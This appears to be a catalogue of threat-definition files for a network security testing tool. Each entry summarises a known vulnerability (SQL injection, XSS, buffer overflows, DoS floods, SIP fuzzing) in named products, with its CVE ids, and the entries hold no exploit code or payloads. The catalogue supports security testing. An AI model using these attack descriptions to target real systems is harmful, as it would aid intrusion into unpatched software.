Executive Description:	Cisco Prime Data Center Network Manager processImageSave.jsp Arbitrary File Upload
Detailed Description:	An arbitrary file upload vulnerability exists in Cisco Prime Data Center Network Manager. The vulnerability is due to lack of authentication and insufficient input validation in the <code><italic>processImageSave.jsp</italic></code> when processing HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP
CVEID:	CVE-2013-5486
OSVDB:	97426
Threat File Name:	TSL20170330-11_Trend_Micro_IWSVA_DeploymentWizardAction_GetClusterInfo_Command_Injection_IPv6.xml
Executive Description:	Trend Micro IWSVA DeploymentWizardAction GetClusterInfo Command Injection (IPv6 Version)
Detailed Description:	A command injection vulnerability has been reported in Trend Micro InterScan Web Security Virtual Appliance (IWSVA). The vulnerability exists due to improper validation of the HTTP request parameters in the GetClusterInfo method of the DeploymentWizardAction class. A remote, authenticated attacker can exploit this vulnerability by sending a maliciously crafted request to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of the root.
Protocol Type:	HTTP,HTTPS,IPv6
Threat File Name:	TSL20150421-17_Novell_ZENworks_Configuration_Management_schedule_ScheduleQuery_SQL_Injection_IPv6.xml
Executive Description:	Novell ZENworks Configuration Management schedule.ScheduleQuery SQL Injection IPv6 version
Detailed Description:	An SQL injection vulnerability exists in ZENworks Configuration Management. The vulnerability is due to insufficient sanitization of a request parameter in the run method of the ScheduleQuery class before using the parameter in SQL queries.
Protocol Type:	HTTP/HTTPS,IPv6
CVEID:	CVE-2015-0782
Threat File Name:	TSL20140925-02_Mozilla_Network_Security_Services_RSA_Signature_Forgery.xml
Executive Description:	Mozilla Network Security Services RSA Signature Forgery
Detailed Description:	An RSA signature forgery vulnerability exists in Mozilla Network Security Services (NSS), the cryptographic library used in many applications including Firefox and Google Chrome. The vulnerability is a result of improper verification of RSA signatures due to incorrect ASN.1 parsing of the DigestInfo structure. A remote attacker could exploit this vulnerability by providing a forged certificate e.g. for a legitimate website. Successful exploitation would result in successful verification of the forged certificate, which could lead to information disclosure, spoofing and policy bypass. Tester should set variable \$destPort 443 before test.
Protocol Type:	TLS/DTLS/HTTPS/SMTP/SMTPS/SIPS
CVEID:	CVE-2014-1568
OSVDB:	112036
Threat File Name:	TSL20170314-35_Microsoft_Internet_Explorer_CStr_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CStr Use After Free (IPv6 Version)
Detailed Description:	A use-after-free vulnerability has been reported in Microsoft Internet Explorer. These vulnerabilities are due to improper objects access in memory. A remote attacker can exploit these vulnerabilities by enticing the victim to open a maliciously crafted web page. Successful exploitation would allow the attacker to gain sensitive information.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-0059
Threat File Name:	fuzz-TFTP_RandstringFilename_RRQ_MAIL.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RandstringFilename_RRQ_MAIL.xml
Detailed Description:	Fuzzes Filename field by putting random string with ranging sizes in the filename field. OpCode is RRQ. Mode is mail.
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	TSL20160506-06_ImageMagick_Delegate_Command_Injection.xml

Executive Description:	ImageMagick Delegate Command Injection
Detailed Description:	A command injection vulnerability has been reported in ImageMagick. This vulnerability is due to improper validation of SVG and MVG image files. A remote attacker can exploit this vulnerability to execute arbitrary commands under the security context of the root user.
Protocol Type:	HTTP
CVEID:	CVE-2016-3714
Threat File Name:	TSL20120607-02_Apple_QuickTime_MPEG_Stream_Padding_Buffer_Overflow.xml
Executive Description:	Apple QuickTime MPEG Stream Padding Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to an integer underflow error which further leads to a heap-based buffer overflow when calculating the padding for an MPEG sample. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to download and process a specially crafted MPEG file with the vulnerable software. This can lead to code execution in the context of the vulnerable application.
Protocol Type:	HTTP,HTTPS,SMTP,SMB/CIFS
CVEID:	CVE-2012-0659
OSVDB:	81931
Threat File Name:	sipinviterandomcontenttype.xml
Executive Description:	SIP Random Content-Type INVITE
Detailed Description:	This threat sends out a SIP INVITE message with no content and a random string for Content-Type. Content of type application/sdp is usually expected, so this can confuse or crash a PBX that isn't very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20040309-02_Microsoft_Outlook_2002_Script_Execution_IPv6.xml
Executive Description:	Microsoft Outlook 2002 Script Execution (IPv6 Version)
Detailed Description:	Microsoft Outlook, an email client, contains a vulnerability in the handling of a mailto: URI. The lack of filtering of parameters passed to Outlook via the "mailto:" URI allows for script execution in the Local Machine zone on a vulnerable system. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0121
Threat Package:	Standard
Threat File Name:	FSC20060316-13_Atrium_Mercur_IMAP_Remote_Buffer_Overflow_IPv6.xml
Executive Description:	Atrium Mercur IMAP Remote Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability has been identified in the Atrium Mercur IMAP service component. The application contains a flaw in its command processing code resulting from insufficient bounds checks. This vulnerability may be exploited by malicious authenticated users to compromise a target host. (IPv6 Version)
Protocol Type:	IMAP/IPv6
CVEID:	CVE-2006-1255
Threat Package:	Standard
Threat File Name:	TSL20120404-07_Cisco_WebEx_Recording_Format_Player_atas32_dll_Integer_Overflow_IPv6.xml
Executive Description:	Cisco WebEx Recording Format Player atas32.dll Integer Overflow(IPV6 Version)
Detailed Description:	A code execution vulnerability exists in Cisco WebEx Recording Format (WRF) Player. This vulnerability is due to an integer overflow leading to a heap buffer overflow when processing WRF files. A remote unauthenticated attacker can leverage this vulnerability by crafting a WRF file and enticing the target user to view the malicious file. Successful exploitation would result in execution of arbitrary code on the target host in the context of the currently logged on user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2012-1336
OSVDB:	81105
Threat File Name:	FSC20100726-03_Mozilla_Firefox_Plugin_Parameter_Array_Dangling_Pointer_IPv6.xml
Executive Description:	Mozilla Firefox Plugin Parameter Array Dangling Pointer
Detailed Description:	A code execution vulnerability exists in Mozilla Firefox. The vulnerability is due to an error while handling plugins parameters contained in a malicious <object> tag. A remote attacker can exploit this vulnerability by enticing a target user to visit a specially crafted web page. Exploitation of the vulnerability can result in arbitrary code execution in the context of the application. In attack scenarios where code execution is successful the behaviour of the target system depends entirely on the logic of the injected code, which would run within the security context of the currently logged in user. In situations where code execution is not successful the affected application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2010-2755
Threat Package:	Standard
Threat File Name:	TSL20150126-06_PHP_exif_Extension_exif_read_data_NULL_Pointer_Dereference.xml
Executive Description:	PHP exif Extension exif_read_data NULL Pointer Dereference.
Detailed Description:	A code execution vulnerability exists in PHP's exif extension. The vulnerability is due to a NULL Pointer dereference inside the exif_read_data function. A remote attacker can exploit this vulnerability by sending crafted picture data to a web application running a vulnerable version of PHP. A successful attack will crash the application, and possibly result in remote code execution.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-0232
OSVDB:	117467
Threat File Name:	lotusDOS.xml
Executive Description:	IBM Lotus Domino Server Web Service Denial Of Service
Detailed Description:	This threat causes the web service for Lotus Domino to crash. This is performed by sending a large HTTP GET request to the cgi-bin processor.
Protocol Type:	HTTP
CVEID:	CVE-2005-0986
Threat Package:	Standard
Threat File Name:	tekman_portal_sqli_IPv6.xml

Executive Description:	Tekman Portal Uye_Profil.ASP SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Tekman Portal an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090609-16_Microsoft_IIS_5.0_WebDav_Request_Directory_Security_Bypass.xml
Executive Description:	Microsoft IIS 5.0 WebDav Request Directory Security Bypass
Detailed Description:	A security bypass vulnerability exists in the Microsoft Internet Information Services (IIS) product. The vulnerability is due to the way IIS handles WebDAV requests for web pages requiring authentication. A remote attacker can exploit the vulnerability to bypass access restrictions on resources that require authentication. A successful attack attempt will allow the attacker to bypass security controls, upload or download arbitrary files to protected resources.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1122
Threat Package:	Standard
Threat File Name:	FSC20091110-07_Microsoft_Office_Excel_Featheader_Record_Memory_Corruption.xml
Executive Description:	Microsoft Office Excel Featheader Record Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel products. The vulnerability is due to the way that Microsoft Office Excel handles specially crafted Excel files that include a malformed FeatHdr record object, allowing for memory corruption. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMTP/SMB/CIFS
CVEID:	CVE-2009-3129
Threat Package:	Standard
Threat File Name:	drake_cms_xss_IPv6.xml
Executive Description:	Drake CMS UI.DTA.PHP Cross-Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat attempts to cause a cross site scripting condition through the UI.DTA.PHP function call. By exploiting this XSS vulnerability an attacker can steal session and cookie authentication details. Drake CMS is a web application, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080806-16_Cisco_Webex_Meeting_Manager_atucfobj_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	Cisco Webex Meeting Manager atucfobj ActiveX Control Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Cisco Webex Meeting Manager application. The vulnerability is caused due to insufficient boundary checking when an overly long parameter is passed to the affected ActiveX control. An attacker may exploit this vulnerability by enticing a target user to open a malicious web page. Successful exploitation could lead to injection and execution of arbitrary code in the security context of the currently logged in user.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	gimp_ras_bof_IPv6.xml
Executive Description:	Gimp 2.2.14 .RAS File Download/Execute Buffer Overflow (IPv6 Version)
Detailed Description:	This threat is a download of a malicious RAS file demonstrating a flaw in gimps RAS file parser. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3945
Threat Package:	Standard
Threat File Name:	TSL20140715-12_HP_Intelligent_Management_Center_FaultDownloadServlet_Information_Disclosure_IPv6.xml
Executive Description:	HP Intelligent Management Center FaultDownloadServlet Information Disclosure IPv6 version
Detailed Description:	An information disclosure Test vulnerability exists in HP Intelligent Management Center. The vulnerability is due to a lack of authentication and insufficient input validation when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the file contents of arbitrary files on a target system. Tester needs to set variable \$destPort to 8080 or 8443 before test.
Protocol Type:	HTTP/HTTPS. IPV6
CVEID:	CVE-2014-2620
OSVDB:	109170
Threat File Name:	mxshop_prd_ctg_sqli_IPv6.xml
Executive Description:	MX Shop Pages Module 'id_prd' variable SQL Injection (IPv6 Version)
Detailed Description:	This threat sends a crafted URL containing an SQL query which is executed by the server with the servers permissions. MX Shop is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3004
OSVDB:	19611
Threat File Name:	FSC20091209-04_Novell_iPrint_Client_ienipp.ocx_target-frame_Stack_Buffer_Overflow.xml
Executive Description:	Novell iPrint Client ienipp.ocx target-frame Stack Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Novell iPrint Client. The vulnerability is due to a boundary error in the ActiveX control when parsing target-frame parameter values. A remote attacker can exploit this vulnerability by enticing a target user to open a malicious web page, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the logic of the malicious code.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1568
Threat Package:	Standard

Threat File Name:	excel_bof_b_IPv6.xml
Executive Description:	Microsoft Excel xlw file Remote Code Execution MS06-012 (IPv6 Version)
Detailed Description:	This server based threat downloads a Malicious xlw file which triggers the excel remote code execution flaw mentioned in microsoft advisory ms06-012. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0029
Threat Package:	Standard
Threat File Name:	vbtovsi_overwrite.xml
Executive Description:	Microsoft Visual Studio 6.0 (VBTOVSI.DLL 1.0.0.0) File Overwrite Exploit
Detailed Description:	This threat downloads a malicious web page which will write to an arbitrary file. This method can be used to overwrite any file on the system. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	ipv6_loopback.xml
Executive Description:	IPv6 Loopback Ping
Detailed Description:	This threat sends a ping with a source address of 0000:0000:0000:0000:0000:0000:0000:0001.
Protocol Type:	ICMP6
Threat Package:	Standard
Threat File Name:	TSL20120627-05_Novell_iPrint_Client_GetDriverSettings_Realm_Parameter_Stack_Buffer_Overflow.xml
Executive Description:	Novell iPrint Client GetDriverSettings Realm Parameter Stack Buffer Overflow
Detailed Description:	Two stack buffer overflow vulnerabilities exist in Novell iPrint Client. The vulnerabilities are due to insufficient validation of the Realm parameter to the method GetDriverSettings. A remote attacker can leverage this vulnerability by enticing a target user to open a specially crafted web page. Successful exploitation can allow an attacker to execute arbitrary code on a target system in the security context of the current user. In an unsuccessful attack attempt, the browser may abnormally terminate.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-4187
OSVDB:	78955
Threat File Name:	sipunknownmismatch_IPv6.xml
Executive Description:	SIPPING: Unknown Method and CSeq Mismatch (IPv6 Version)
Detailed Description:	This threat sends out a SIP message with an unknown method and a different (but known) CSeq method. This is illegal and can cause one of a number of possible error messages. Because it is unexpected, this may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	fuzz-SMTP-HELO_Parameter_brackets_IPv6.xml
Executive Description:	Fuzz SMTP HELO verb with [] (IPv6 Version)
Detailed Description:	Fuzzes the SMTP HELO Parameter with [] from size of 0 to a size of 4096. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20080211-18_Novell_Client_nwspool_dll_EnumPrinters_Function_Stack_Buffer_Overflow.xml
Executive Description:	Novell Client nwspool.dll EnumPrinters Function Stack Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the way Novel Client for Windows handles RPC requests. The vulnerability is due to lack of boundary protection while processing RPC requests. A remote unauthenticated attacker may exploit this vulnerability to cause a denial of service condition or inject and execute arbitrary code on the vulnerable host with System-level privileges.
Protocol Type:	SMB
CVEID:	CVE-2008-0639
Threat Package:	Standard
Threat File Name:	ftp_buffer_overflow_1025.xml
Executive Description:	FTP Buffer Overflow [1025] Attack
Detailed Description:	This generic threat sends a long buffer [1025 bytes] against an FTP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer.
Protocol Type:	FTP
Threat Package:	Standard
Threat File Name:	nexusway_IPv6.xml
Executive Description:	Neteyes Nexusway Remote Command Execution (IPv6 Version)
Detailed Description:	This threat exploits the CGI scripts contained on the Neteyes Nexusway Border Gateway web console. By passing more shell arguments through the command line to application, it is possible to run arbitrary commands in the context of the super user. This affects the built in webserver on this appliance. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1559
OSVDB:	16448
Threat Package:	Standard
Threat File Name:	TSL20130619-13_Oracle_Java_SE_XML_Digital_Signature_Spoofing_IPv6.xml
Executive Description:	Oracle Java SE XML Digital Signature Spoofing [IPv6, Version]
Detailed Description:	A spoofing vulnerability has been reported in Oracle Java SE. The vulnerability is due to improper use of Canonicalization algorithm while validating the signature of a specially crafted XML file. An attacker can exploit this vulnerability to modify the content of an XML file without invalidating the signature associated with the file.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-2461
OSVDB:	94350

Threat File Name:	litespeed_xss.xml
Executive Description:	LiteSpeed ConfMgr.php Cross-Site Scripting Vulnerability
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. LiteSpeed Webserver is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3695
OSVDB:	20908
Threat Package:	Standard
Threat File Name:	setslice.xml
Executive Description:	Internet Explorer Set Slice Exploit
Detailed Description:	This threat causes a flaw in Microsoft's Internet Explorer. It affects the WebViewFolderIcon ActiveX object. This attack would typically come from a malicious webserver listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-3730
OSVDB:	27110
Threat Package:	Standard
Threat File Name:	empty_option_IPv6.xml
Executive Description:	Empty OPTIONS request (IPv6 Version)
Detailed Description:	This threat sends an OPTION with no URI or HTTP version specified. Can cause certain webserver to crash. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-2315
OSVDB:	19468
Threat Package:	Standard
Threat File Name:	TSL20131024-08_Oracle_Outside_In_OS_2_Metatile_Parser_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Outside In OS 2 Metatile Parser Heap Buffer Overflow(IPv6 Version)
Detailed Description:	A heap buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability is due to an error while processing OS/2 Metafiles. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed file. Depending on the application, user interaction may be required. Successful exploitation can result in execution of arbitrary code or a denial of service condition in the context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPV6
Threat File Name:	TSL20131101-11_HP_LoadRunner_Virtual_User_Generator_saveCodeRuleFile_Directory_Traversal_IPv6.xml
Executive Description:	HP LoadRunner Virtual User Generator saveCodeRuleFile Directory Traversal(IPv6 Version)
Detailed Description:	A directory traversal vulnerability exists in HP LoadRunner Virtual User Generator. The vulnerability exists in the EmulationAdmin web service. The vulnerability is due to insufficient validation on the parameters of saveCodeRuleFile method sent via SOAP requests. A remote unauthenticated attacker can exploit this vulnerability to create arbitrary files on the server. Successful exploitation of the vulnerability could lead to arbitrary code execution on the target system.
Protocol Type:	SOAP/HTTP, IPV6
CVEID:	CVE-2013-4838
OSVDB:	99232
Threat File Name:	siprandomversion.xml
Executive Description:	SIP Random Version
Detailed Description:	This threat sends out a SIP INVITE message with random strings for its version fields. This can confuse or crash a PBX that is not very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20090414-06_Microsoft_HTTP_Services_Chunked-Encoding_Integer_Overflow.xml
Executive Description:	Microsoft HTTP Services Chunked Encoding Integer Overflow
Detailed Description:	An integer overflow vulnerability has been reported in Microsoft Windows HTTP Services. The flaw is due to improper validation of parameters returned by a remote Web server. An attacker can persuade the target user or a service running on the target system to connect to a malicious Web Sever to exploit this vulnerability. Successful attack could allow for arbitrary code execution and complete control of the targeted system. In an attack scenario, where arbitrary code is injected and executed on the target system, the attacker could install applications; access, modify, and delete data; or create new accounts with privileges of the user or service that connected to the malicious Web server. Unsuccessful attacks could result in the termination of any Windows service or third party application using HTTP services.
Protocol Type:	HTTP/SSDP
CVEID:	CVE-2009-0086
Threat Package:	Standard
Threat File Name:	IMail_whois_IPv6.xml
Executive Description:	IMail Whois Daemon Overflow (IPv6 Version)
Detailed Description:	This threat sends a payload 1000 bytes to the whois daemon that ships with IMail 5.0 (port 43). This causes a buffer overflow condition, which can be exploited to gain unauthorized access to the machine. (IPv6 Version)
Protocol Type:	Whois/IPv6
CVEID:	CVE-1999-1551
OSVDB:	10843
Threat Package:	Standard
Threat File Name:	sipzerolengthinvite.xml
Executive Description:	SIP Zero Length INVITE
Detailed Description:	This threat sends out a SIP INVITE message with no content. The lack of SDP info can confuse or crash a PBX if it isn't very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	vlc_activex_bof.xml

Executive Description:	VideoLAN VLC axvlc.dll ActiveX Control Initialization Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the axvlc.dll ActiveX Object in VideoLAN VLC, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-6262
Threat Package:	Standard
Threat File Name:	TSL20170111-14_Adobe_Acrobat_ImageConversion_TIFF_Heap-based_Buffer_Overflow.xml
Executive Description:	Adobe Acrobat ImageConversion TIFF Heap-based Buffer Overflow
Detailed Description:	A heap-based buffer overflow vulnerability has been found in the ImageConversion component of Adobe Acrobat. The vulnerability is due to improper validation user-supplied data which can result in a heap-based buffer overflow when processing a TIFF image file. A remote attacker could exploit the vulnerability by enticing a target user to open a maliciously crafted file. Successful exploitation could result in code execution under the context of the user.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP
Threat File Name:	mailsite_xss.xml
Executive Description:	Rockliffe MailSite HTTP Management Agent WCONSOLE.DLL XSS
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page. Rockliffe Mailsite uses a web based interface that typically listens on port 90.
Protocol Type:	HTTP
CVEID:	CVE-2006-0341
OSVDB:	22677
Threat File Name:	TSL20150113-14_Microsoft_Windows_Telnet_Service_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Telnet Service Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Windows Telnet service. The vulnerability is due to an input validation error in processing Telnet messages. A remote attacker can exploit this vulnerability by sending crafted Telnet messages to a vulnerable server. Successful exploitation could possibly results in arbitrary code execution in the security context of the "Local Service" account. Tester should set variable \$destPort to 23 before test.
Protocol Type:	Telnet
CVEID:	CVE-2015-0014
OSVDB:	116954
Threat File Name:	floodICMPprotocolcolumnreachable.xml
Executive Description:	ICMP Protocol Unreachable Flood
Detailed Description:	This threat sends out an ICMP Protocol Unreachable flood. This causes a "hard error" for a TCP connection, terminating it. TCP stacks should ignore this message if the connection is already established, but many do not. By continuously sending these packets, this can cause a denial of service on the target.
Protocol Type:	ICMP
Threat Package:	Standard
Threat File Name:	urgFlood_IPv6.xml
Executive Description:	TCP URG Flood (IPv6 Version)
Detailed Description:	This threat floods a user defined target with TCP packets, from randomized, spoofed addresses, where the URG (urgent) flag has been turned on. The receiving target passes data to the application in sequence, unless that data is marked as urgent, thus superseding the rule and passing our bogus data to the application for execution. This will result in a the server's application processing erroneous packets and using resources causing a slowed response to legitimate traffic and possibly DoS. This is only subject if the packets become associated with a legitimate connection which will be created with future, state-oriented attacks. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-1999-1349
OSVDB:	13500
Threat Package:	Standard
Threat File Name:	FSC20071206-12_HP_OpenView_Network_Node_Manager_CGI_Application_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager CGI Application Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in HP OpenView Network Node Manager. The flaw is due to boundary error in Common Gateway Interface (CGI) applications when processing overly long parameters submitted in HTTP requests. A remote unauthenticated attacker can send a crafted HTTP request to the target host to exploit this vulnerability. Successful attack could allow for arbitrary code being injected and executed with the privileges of the affected service, which is normally the Internet Guest Account on Windows platforms.
Protocol Type:	HTTP
CVEID:	CVE-2007-6204
Threat Package:	Standard
Threat File Name:	TSL20111213-14_Microsoft_Excel_Record_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Excel Record Parsing Memory Corruption(IPV6 VERSION)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Excel. The vulnerability is due to an error in parsing Excel records. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-3403
Threat File Name:	ms04-028.xml
Executive Description:	MS04-028 Microsoft GDI+ JPEG Buffer Overflow Attack
Detailed Description:	This threat represents a browser client downloading a malicious JPEG image designed to cause code execution on a Windows XP machine through a flaw in GDI+ rendering library. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2004-0200
OSVDB:	9951
Threat Package:	Standard
Threat File Name:	FSC20081003-18_Rhino_Software_Serv-U_FTP_Server_rnto_Command_Directory_Traversal_IPv6.xml

Executive Description:	Rhino Software Serv-U FTP Server rnto Command Directory Traversal (IPv6 Version)
Detailed Description:	There exists a directory traversal vulnerability in the Rhino Software Serv-U FTP Server. The vulnerability is due to an input validation error in server that does not properly sanitize the rnto command. Successful exploitation allows authenticated remote attackers to write arbitrary files to any location on the vulnerable server. (IPv6 Version)
Protocol Type:	FTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20150609-23_Microsoft_Internet_Explorer_CVE_2015_1744_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-1744 Memory Corruption
Detailed Description:	A use after free vulnerability exists in Microsoft Internet Explorer. This vulnerability is due to an issue while handling first-letter element styling when processing HTML and script code. A remote unauthenticated attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-1744
Threat File Name:	signoreason.xml
Executive Description:	SIPPING: No Reason
Detailed Description:	This threat sends out a SIP status message with code 100 (Trying) but no text description. This is legal but unexpected and may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20110614-14_Microsoft_Office_Excel_Record_Type_Confusion.xml
Executive Description:	Microsoft Office Excel Record Type Confusion
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to improper parsing of records leading to type confusion in the vulnerable product while handling specially crafted Excel files. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected (and executed) on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-1273
Threat File Name:	ideocontent_xss_IPv6.xml
Executive Description:	IdeoContent Manager news_full.php page Variable XSS (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page. IdeoContent Manager is a web based interface that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0463
OSVDB:	22712
Threat File Name:	winproxy_dos_IPv6.xml
Executive Description:	Blue Coat Systems WinProxy Remote Denial Of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a large HTTP GET request thereby crashing the WinProxy service. WinProxy is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3187
Threat Package:	Standard
Threat File Name:	lbog_sqli.xml
Executive Description:	LBlog Comments.ASP SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted HTTP get request that contains malicious SQL commands to the affected server allowing for an attacker to change user and password data. LBlog is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20140317-06_Google_Chrome_V8_JavaScript_Engine_Memory_Corruption.xml
Executive Description:	Google Chrome V8 JavaScript Engine Memory Corruption
Detailed Description:	A memory corruption vulnerability exist in Google Chrome. The vulnerability is due to an error while processing JavaScript code by the V8 JavaScript Engine. A remote attacker could exploit this vulnerability by enticing a user to open a malicious web page. Successful exploitation could permit an attacker to execute arbitrary code in the Google Chrome sandbox
Protocol Type:	HTTP,HTTPS,HTML
CVEID:	CVE-2014-1705
Threat File Name:	wowroster_rfi_IPv6.xml
Executive Description:	World of Warcraft (WoW) Roster Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. WoW Roster is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20160902-01_Adobe_ColdFusion_OOXML_XXE_Information_Disclosure.xml
Executive Description:	Adobe ColdFusion OOXML XXE Information Disclosure
Detailed Description:	An XML external entity (XXE) processing vulnerability has been reported in the Office Open XML (OOXML) parsing component of Adobe ColdFusion. The vulnerability is due to a lack of validation on user-supplied input when parsing OOXML documents. A remote attacker could exploit this vulnerability by uploading a maliciously crafted OOXML document to the target server. Successful exploitation could allow the attacker to read arbitrary files from the target server.
Protocol Type:	HTTP
CVEID:	CVE-2016-4264
Threat File Name:	sitedepth_dirtransversal_IPv6.xml
Executive Description:	SiteDepth CMS 3.44 (ShowImage.php name) File Disclosure Vulnerability (IPv6 Version)

Detailed Description:	This threat uses a specially crafted url string to read arbitrary files from an affected web server. SiteDepth CMS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3404
Threat Package:	Standard
Threat File Name:	FSC20081209-04_Microsoft_Office_Excel_File_OBJ_record_Memory_Corruption.xml
Executive Description:	Microsoft Office Excel File OBJ record Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Excel products. The vulnerability is due to improper parsing of crafted OBJ records. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access. If unexpected termination of the vulnerable application is the sole result of an attack, there is no impact to the overall operation of the target host. It is, however, possible to lose all unsaved data due to the abnormal termination.
